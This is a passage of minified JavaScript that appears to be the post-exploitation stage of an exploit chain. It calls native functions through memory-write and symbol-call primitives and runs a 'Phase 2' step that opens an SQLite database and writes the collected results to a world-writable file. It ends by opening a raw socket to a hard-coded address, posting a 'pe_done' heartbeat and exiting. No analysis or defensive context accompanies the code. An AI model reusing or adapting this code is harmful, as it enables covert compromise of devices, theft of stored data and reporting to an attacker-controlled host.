Number(N.callSymbol("open", p7_outDone, 0x601, 0x1FF)); if (p7_doneFd >= 0) { N.callSymbol("write", p7_doneFd, "done", 4); N.callSymbol("close", p7_doneFd); N.callSymbol("chmod", p7_outDone, 0x1FF); } p7_flog("result written to " + p7_outFinal + " (" + p7_jsonStr.length + " bytes)"); } else { p7_flog("failed to open output file"); p7_result.errors.push("output file open failed"); } } else { N.callSymbol("free", p7_dbPtrBuf); p7_flog("DB open failed, no sqlite3 pipeline"); p7_result.errors.push("DB open failed rc=" + p7_dbRc); } } } catch (p7_err) { p7_flog("Phase 2 error: " + p7_err); } finally { if (p7_secRC) { p7_secRC.destroy(); } } } // ===== End P7 Phase 2 ===== if (p7_enableP7) p7_flushLog(); LOG("[PE-WORKER] start() COMPLETE"); return true; } try { start(); } catch (error) { LOG("[PE] start() threw: " + error); } finally { try { let _C = func_resolve("connect"); let _fd = socket(2n, 1n, 0n); if (_fd > 0n) { let _sa = calloc(1n, 16n); uwrite64(_sa, 0xDEAD00000000BEEFn); uwrite64(_sa + 8n, 0n); let _r = fcall(_C, _fd, _sa, 16n); if (_r == 0n) { let _b = "heartbeat:pe_done"; let _h = "POST /heartbeat HTTP/1.0\r\nContent-Length: " + _b.length + "\r\n\r\n" + _b; let _buf = get_cstring(_h); fcall(WRITE, _fd, _buf, BigInt(_h.length)); LOG("[HB] heartbeat sent"); } else { LOG("[HB] connect fail: " + _r); } close(_fd); free(_sa); } else { LOG("[HB] socket fail"); } } catch(_e) { LOG("[HB] err: " + _e); } libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("exit", 0n); } })(); /******/ })() ; } catch (error) { LOG(`Main function resulted with an error: ${error}`); LOG("stack: " + error.stack); } })();